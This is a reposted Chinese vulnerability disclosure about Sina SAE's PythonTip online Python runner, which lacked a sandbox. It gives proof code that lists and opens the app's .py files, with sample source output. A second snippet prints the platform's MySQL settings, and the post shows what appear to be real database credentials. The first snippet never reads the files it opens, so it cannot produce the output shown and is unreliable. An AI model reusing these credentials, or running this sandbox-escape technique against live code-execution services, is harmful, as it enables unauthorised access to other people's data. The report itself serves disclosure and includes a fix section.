新浪saepythontip执行未使用沙箱机制导致代码泄露-自学php网

新浪saepythontip执行未使用沙箱机制导致代码泄露

来源：自学PHP网时间：2015-04-16 23:15 作者：阅读:次

[导读] 在pythontip在线执行中可以获得程序源代码和程序配置pythontip在线编程没有屏蔽os模块中的许多功能，也没有阻止open读取文件内容，导致源代码泄露；pythontip在线编程没有使用隔离的pyth...

在pythontip在线执行中可以获得程序源代码和程序配置

pythontip在线编程没有屏蔽os模块中的许多功能，也没有阻止open读取文件内容，导致源代码泄露；pythontip在线编程没有使用隔离的python程序导致可以使用sae模块读取程序配置。

漏洞证明：

在http://pythontip.sinaapp.com/coding/run运行：

import os



def get_filepaths(directory):

    file_paths = []  # List which will store all of the full filepaths.



    # Walk the tree.

    for root, directories, files in os.walk(directory):

        for filename in files:

            # Join the two strings in order to form the full filepath.

            filepath = os.path.join(root, filename)

            file_paths.append(filepath)  # Add it to the list.



    return file_paths  # Self-explanatory.



for p in get_filepaths("."):

    if p[-2:] == "py":

        f = open(p)

        print "=========[" + p + "]========="

        f.close()

        del f

输出当前目录下全部python脚本内容，截取一部分如下：

=========[./manage.py]=========

#!/usr/bin/env python

import os

import sys



if __name__ == "__main__":

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pythontip.settings")



    from django.core.management import execute_from_command_line

（以后略）

再运行

import sae

print sae.const.MYSQL_USER

print sae.const.MYSQL_PASS

print sae.const.MYSQL_HOST

print sae.const.MYSQL_DB

print sae.const.MYSQL_PORT

输出：（显然是连接信息。虽然sae防止外部连接到数据库，但可能可以通过在线编程读取到数据库）

y0k0xwjnlj

wlw2jmzklz5i122j12i2zj3i34j33z2x3mhii4wy

w.rdc.sae.sina.com.cn

app_yunmei

3307

修复方案：

pythontip事实上已经阻止了部分函数执行（比如os中的execlp不能用，而且没有fork），推荐加强这方面的防护，也推荐使用虚拟化技术来运行python程序。

链家旗下自如网用户/员工信息全泄露 - 网站安全

实战绕过360网站卫士WEB防护与SQL注入规则 - 网站

子栏目

新浪saepythontip执行未使用沙箱机制导致代码泄露

最新评论

添加评论

更多文章推荐

添加评论